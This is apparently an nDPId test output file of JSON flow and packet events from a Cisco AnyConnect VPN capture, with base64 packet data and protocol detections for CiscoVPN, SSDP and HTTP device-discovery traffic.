+00656{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":836308,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"NDY7z3UoLH6BsEqhCABFAADYxf0AAPcRg7QIJWZbCgAA4wG701sAxPjiFgEAAAAAAAAAAAEAUgIAAEYAAQAAAAAARgEALUKlqOqp+9af1GcxChS4QXaLYgzyjV+CMRoD1u04EzMgm7BxyKgEQGFPg0eizi7+AVQMevU74i4erAc5hyngJu8AOQAUAQAAAAAAAAAAAgADAQACFgEAAAEAAAAAAAAAQD8tH8NZsi0zp5KqIEac2zndlXephyhcvDs6uk0ts\/C74lCOOKMP7cl2vA0Fdivj2Vu+P3CxRTCYlcHvZh6mgEM="} +00528{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":837070,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"LH6BsEqhNDY7z3UoCABFAAB5ttQAAEARSj0KAADjCCVmW9NbAbsAZSHLFAEAAAAAAAAAAAIAAwEAAhYBAAABAAAAAAAAAEB13T5lRIw++YjQQ3Qkoyswag+IeQZwzjpfo12O7l1Xcp3w\/UpkhLeZaAWDRsXTNSL+R32oH3qj2v2CyHpmZrLD"} +00573{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":850848,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"LH6BsEqhNDY7z3UoCABFAACZG00AAEAR5aQKAADjCCVmW9NbAbsAhSBxFwEAAAEAAAAAAAEAcJAp8TP5L9aIAzjZZH+8T1estbsDYKyCkdkhe7+UIBVsNqyejSSkPEU7ONW2iokPbFMvxRUeCNaw\/RBrJMSNbsKC3EuMrgGykf+U9Wpz8EHY6SCoix9y+LnSEFWosh2QWwehPeVhCuFY\/xnfwN3j9dY="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":467,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":6,"flow_first_seen":1569687268746,"flow_last_seen":1569687268850,"flow_tot_l4_data_len":720,"flow_min_l4_data_len":56,"flow_max_l4_data_len":196,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":54107,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"CiscoVPN","breed":"Acceptable","category":"VPN"}} +00573{"flow_id":61,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":873245,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"LH6BsEqhNDY7z3UoCABFAACZ5VoAAEARG5cKAADjCCVmW9NbAbsAhSuuFwEAAAEAAAAAAAIAcIroYcS3\/qjlLAJ5hVgNA24x6wrtxtbMm99puobFdI66KucUrXLCm27CpIExufGVwJVqf2dvO9CVHHSBup6yXTyxuJs4l0NHL\/QivpVOwo7lEHdJCThBbAs8Wx+IU5suN7IEDaosnRxSWsC2AMv9YUg="} +00575{"flow_id":61,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":873381,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"LH6BsEqhNDY7z3UoCABFAACZfpEAAEARgmAKAADjCCVmW9NbAbsAhXmZFwEAAAEAAAAAAAMAcDzvmPLtB4V20+vs+Pcr7Wx7iMFNIgDukd6WG4O587T8V7dCFBodz9a9s7xVrA3ERlsVnzccWHU51YiWyOFePh6Fd3h3UTko6Na4xxDhX5uGJ0Xd7XUu\/x6Q+cY0WD4xtC+shdVmC\/8lPH\/\/WjPzLa4="} +00702{"flow_id":61,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":881674,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"NDY7z3UoLH6BsEqhCABFAAD54UEAAPcRaE8IJWZbCgAA4wG701sA5YSXFwEAAAEAAAAAAAEA0LaEehtTZv8b2CA+a2IlOUc+Bvbq1lzEFnHAPMXuajrB85eB1MKeGzW3VNDRQWRwwuxJPQ2mMwZHhCjKnrmWW5KS2qzAK+qFSujGSVdmMGee\/7OHdHST79gz89tgHJxfuyBQfhXTys1q1mdON9ThMXarq+ChjYzv1lGnip9ves8v5LamEWf6T4IWeU4PuLdBbrziDg0Q71+FePE\/DDBfGX+DD21\/jcgPrUfagJMgvz+9HTnoOO9cEAORFAF9xsHc0X3haTRRd5VwQoJZPeiTVCM="} +00640{"flow_id":61,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":881677,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"NDY7z3UoLH6BsEqhCABFAADJ1N8AAPcRdOEIJWZbCgAA4wG701sAtf2iFwEAAAEAAAAAAAIAoJWe2p35kGmfrEo4F3leJjn3j4r1xM7nc7JIQnXHHmyTh0FmmIlM9zTT+cjBgqP\/4YSp30pK\/M9ivi\/nNfBeQS4VQpJ9ow9UBufxaAW7k6gSLO9qRRZJHOflrKtXIRpmqfDWoVXLlTz2sA5m5W6kzXS9BT+w4hra5mZ9T7Mvwb7BsSwwHNheo1+hOFtvFidLl\/ymSV6QeqezlRlYqRflE1w="} +00644{"flow_id":61,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":881678,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"NDY7z3UoLH6BsEqhCABFAADJsq8AAPcRlxEIJWZbCgAA4wG701sAtWKPFwEAAAEAAAAAAAMAoCZ5fA\/WJVcpp3g69CPnMWAN6FiyDe8lRdJUl1drBF2zUdazOAOhRXSEi\/RlpkLWMNn1yDpr9CExt7zA\/osjteZVcFi1c8I2ZsMOVHH1mL4kgvDSdipKYFeu7ykTjwZtNQV4\/FVY7FH\/SIusECU9+teK1lt\/IksfSUT\/QnedeTLEfVyP7HAwmnU7huP9ivAs5oOSh\/ps0mTKFIVB5SntE4Y="} +00639{"flow_id":61,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":881858,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"NDY7z3UoLH6BsEqhCABFAADJhq8AAPcRwxEIJWZbCgAA4wG701sAtY3TFwEAAAEAAAAAAAQAoHeKGZxBW1Q4pABJMTSX3LUbHu34OICOIbBrwnlOoqSFAGNgRLcSSvCSkoPEWiSx6yLOL++0WFQ\/\/cnvli67B1U1bN0KNW7pxo4I+bqkXjfZ8xBCFGbjxJJVfLSVw+5J4bqy3vY1bqKQCFlRfiQY5q4UuIaq+3kXHFQwCb5UNxTuIQqeQUCbZOsX6Aw1\/GTECatE4XqDtUkdwJuL9GpXIz4="} +00616{"flow_id":61,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":881861,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"NDY7z3UoLH6BsEqhCABFAAC5u7MAAPcRjh0IJWZbCgAA4wG701sApUJkFwEAAAEAAAAAAAUAkG5KNuk+EZOV1nNxmMR0wghy2Q+h3ttKxHQgKNRewJXyNdIBQKiYywiPhtcFIX0WgeskclTE0KCF9mQ+j5N66vLDvZbqTEkY8iyv5BP3Jra3vtiRG37SSrw1GENZNXr0O1GPc0Ry6bJ72MxSeUAA2Za5tPJV00oHfWupVTa1384uF+19TdK92Lxe5ukdC6G4yA=="} +00554{"flow_id":61,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":882274,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"LH6BsEqhNDY7z3UoCABFAACJOdIAAEARxy8KAADjCCVmW9NbAbsAddrCFwEAAAEAAAAAAAQAYKkcQctvWgGrvdO\/PrYGLApIwYpWUheFZjMVzufzIRAcKjKNazs\/06ngcZiPVgUqhcX84s760euS8M3xIrDvpCKFzKSAjWoh4pylx4pwlItuT3UmopW385XbWJ+K1TtL4A=="} +00573{"flow_id":61,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":882458,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"LH6BsEqhNDY7z3UoCABFAACZw3kAAEARPXgKAADjCCVmW9NbAbsAhfRMFwEAAAEAAAAAAAUAcAguDkNAFEpmjyLWL5ulA2X4vi7kL33Wj73almtX8jli+B8jjvqpmzC3x2W92joDZtuks\/EfbirzWU8ByPtXmm6aWQxjNAvCnmxuCC3eMGkqUoaqRSBLGTcN8OkSIzWZ47yqEaMjNbN1k4XgAqL+7M8="} +00586{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687268,"pkt_ts_usec":895259,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":519,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1569687269094,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.1","src_port":52595,"dst_port":192,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":94582,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAg7WwAAEAReH0KAADjCgAAAc1zAMAADBGuCAEDEA=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":578,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1569687269223,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.151","dst_ip":"10.0.0.227","src_port":1900,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00819{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":223066,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"NDY7z3Uo2DE0IHf7CABFAAFTj6FAAEARlH8KAACXCgAA4wds4MsBP0SkSFRUUC8xLjEgMjAwIE9LDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDoyOTVjMDAwNC02ODA3LTEwNmQtODBjZi1kODMxMzQyMDc3ZmI6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KRXh0OiANClNlcnZlcjogUm9rdSBVUG5QLzEuMCBSb2t1LzkuMS4wDQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNTE6ODA2MC9kaWFsL2RkLnhtbA0KV0FLRVVQOiBNQUM9ZDg6MzE6MzQ6MjA6Nzc6ZmI7VGltZW91dD0xMA0KDQo="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":578,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1569687269223,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.151","dst_ip":"10.0.0.227","src_port":1900,"dst_port":57547,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00640{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":559943,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6NDY7z3UoCABFAADKtRAAAAERCTYKAADj7\/\/\/+uDLB2wAtl89TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS83Ny4wLjM4NjUuOTAgTWFjIE9TIFgNCg0K"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":680,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1569687269561,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.149","src_port":56954,"dst_port":8008,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":561873,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"pHczjPFANDY7z3UoCABFAABAAABAAEAGJUEKAADjCgAAld56H0gqQcOaAAAAALAC\/\/9B2AAAAgQFtAEDAwUBAQgKHA3YAQAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":681,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1569687269562,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.151","src_port":56955,"dst_port":8060,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":562299,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2DE0IHf7NDY7z3UoCABFAABAAABAAEAGJT8KAADjCgAAl957H3yCfYpEAAAAALAC\/\/8iuwAAAgQFtAEDAwUBAQgKHA3YAQAAAAAEAgAA"} +00444{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":563567,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"NDY7z3UopHczjPFACABFAAA8AABAAEAGJUUKAACVCgAA4x9I3np8gG11KkHDm6ASOJBP2wAAAgQFtAQCCAoAIeBIHA3YAQEDAwY="} +00432{"flow_id":65,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":563638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAld56H0gqQcObfIBtdoAQEBWnIAAAAQEIChwN2AIAIeBI"} +00771{"flow_id":65,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":563819,"pkt_caplen":317,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":317,"pkt_l4_len":283,"pkt":"pHczjPFANDY7z3UoCABFAAEvAABAAEAGJFIKAADjCgAAld56H0gqQcObfIBtdoAYEBUO5QAAAQEIChwN2AIAIeBIR0VUIC9zc2RwL2RldmljZS1kZXNjLnhtbCBIVFRQLzEuMQ0KSG9zdDogMTAuMC4wLjE0OTo4MDA4DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xM182KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzcuMC4zODY1LjkwIFNhZmFyaS81MzcuMzYNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KDQo="} +00856{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":684,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":4,"flow_first_seen":1569687269561,"flow_last_seen":1569687269563,"flow_tot_l4_data_len":399,"flow_min_l4_data_len":32,"flow_max_l4_data_len":283,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.149","src_port":56954,"dst_port":8008,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"10.0.0.149","url":"10.0.0.149:8008\/ssdp\/device-desc.xml","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/77.0.3865.90 Safari\/537.36"}} +00432{"flow_id":65,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":567036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UopHczjPFACABFAAA0jT9AAEAGmA0KAACVCgAA4x9I3np8gG12KkHEloAQAPO1RgAAAQEICgAh4EkcDdgC"} +00444{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":567040,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"NDY7z3Uo2DE0IHf7CABFAAA8AABAAEAGJUMKAACXCgAA4x983nsgu1W7gn2KRaASqbA3ZQAAAgQFtAQCCAoGktWOHA3YAQEDAwc="} +00433{"flow_id":66,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":567158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl957H3yCfYpFILtVvIAQEBX\/yAAAAQEIChwN2AUGktWO"} +00759{"flow_id":66,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":567320,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"2DE0IHf7NDY7z3UoCABFAAEmAABAAEAGJFkKAADjCgAAl957H3yCfYpFILtVvIAYEBU8YgAAAQEIChwN2AUGktWOR0VUIC9kaWFsL2RkLnhtbCBIVFRQLzEuMQ0KSG9zdDogMTAuMC4wLjE1MTo4MDYwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xM182KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzcuMC4zODY1LjkwIFNhZmFyaS81MzcuMzYNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KDQo="} +00847{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":688,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":4,"flow_first_seen":1569687269562,"flow_last_seen":1569687269567,"flow_tot_l4_data_len":390,"flow_min_l4_data_len":32,"flow_max_l4_data_len":274,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.151","src_port":56955,"dst_port":8060,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"10.0.0.151","url":"10.0.0.151:8060\/dial\/dd.xml","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/77.0.3865.90 Safari\/537.36"}} +02034{"flow_id":65,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":570064,"pkt_caplen":1261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1261,"pkt_l4_len":1227,"pkt":"NDY7z3UopHczjPFACABFAATfjUBAAEAGk2EKAACVCgAA4x9I3np8gG12KkHEloAYAPNXUQAAAQEICgAh4EkcDdgCSFRUUC8xLjEgMjAwIE9LDQpBcHBsaWNhdGlvbi1VUkw6aHR0cDovLzEwLjAuMC4xNDk6ODAwOC9hcHBzLw0KQ29udGVudC1MZW5ndGg6MTA3OQ0KQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3htbA0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiPz4NCjxyb290IHhtbG5zPSJ1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2UtMS0wIj4NCiAgPHNwZWNWZXJzaW9uPg0KICAgIDxtYWpvcj4xPC9tYWpvcj4NCiAgICA8bWlub3I+MDwvbWlub3I+DQogIDwvc3BlY1ZlcnNpb24+DQogIDxVUkxCYXNlPmh0dHA6Ly8xMC4wLjAuMTQ5OjgwMDg8L1VSTEJhc2U+DQogIDxkZXZpY2U+DQogICAgPGRldmljZVR5cGU+dXJuOmRpYWwtbXVsdGlzY3JlZW4tb3JnOmRldmljZTpkaWFsOjE8L2RldmljZVR5cGU+DQogICAgPGZyaWVuZGx5TmFtZT5DaHJvbWVjYXN0MTY5OTwvZnJpZW5kbHlOYW1lPg0KICAgIDxtYW51ZmFjdHVyZXI+R29vZ2xlIEluYy48L21hbnVmYWN0dXJlcj4NCiAgICA8bW9kZWxOYW1lPkV1cmVrYSBEb25nbGU8L21vZGVsTmFtZT4NCiAgICA8VUROPnV1aWQ6NzlkODhlODMtNzI1Yy1iNzFiLWJhZDAtNTg2MmQ1YjIyMzg2PC9VRE4+DQogICAgPGljb25MaXN0Pg0KICAgICAgPGljb24+DQogICAgICAgIDxtaW1ldHlwZT5pbWFnZS9wbmc8L21pbWV0eXBlPg0KICAgICAgICA8d2lkdGg+OTg8L3dpZHRoPg0KICAgICAgICA8aGVpZ2h0PjU1PC9oZWlnaHQ+DQogICAgICAgIDxkZXB0aD4zMjwvZGVwdGg+DQogICAgICAgIDx1cmw+L3NldHVwL2ljb24ucG5nPC91cmw+DQogICAgICA8L2ljb24+DQogICAgPC9pY29uTGlzdD4NCiAgICA8c2VydmljZUxpc3Q+DQogICAgICA8c2VydmljZT4NCiAgICAgICAgPHNlcnZpY2VUeXBlPnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MTwvc2VydmljZVR5cGU+DQogICAgICAgIDxzZXJ2aWNlSWQ+dXJuOmRpYWwtbXVsdGlzY3JlZW4tb3JnOnNlcnZpY2VJZDpkaWFsPC9zZXJ2aWNlSWQ+DQogICAgICAgIDxjb250cm9sVVJMPi9zc2RwL25vdGZvdW5kPC9jb250cm9sVVJMPg0KICAgICAgICA8ZXZlbnRTdWJVUkw+L3NzZHAvbm90Zm91bmQ8L2V2ZW50U3ViVVJMPg0KICAgICAgICA8U0NQRFVSTD4vc3NkcC9ub3Rmb3VuZDwvU0NQRFVSTD4NCiAgICAgIDwvc2VydmljZT4NCiAgICA8L3NlcnZpY2VMaXN0Pg0KICA8L2RldmljZT4NCjwvcm9vdD4NCg=="} 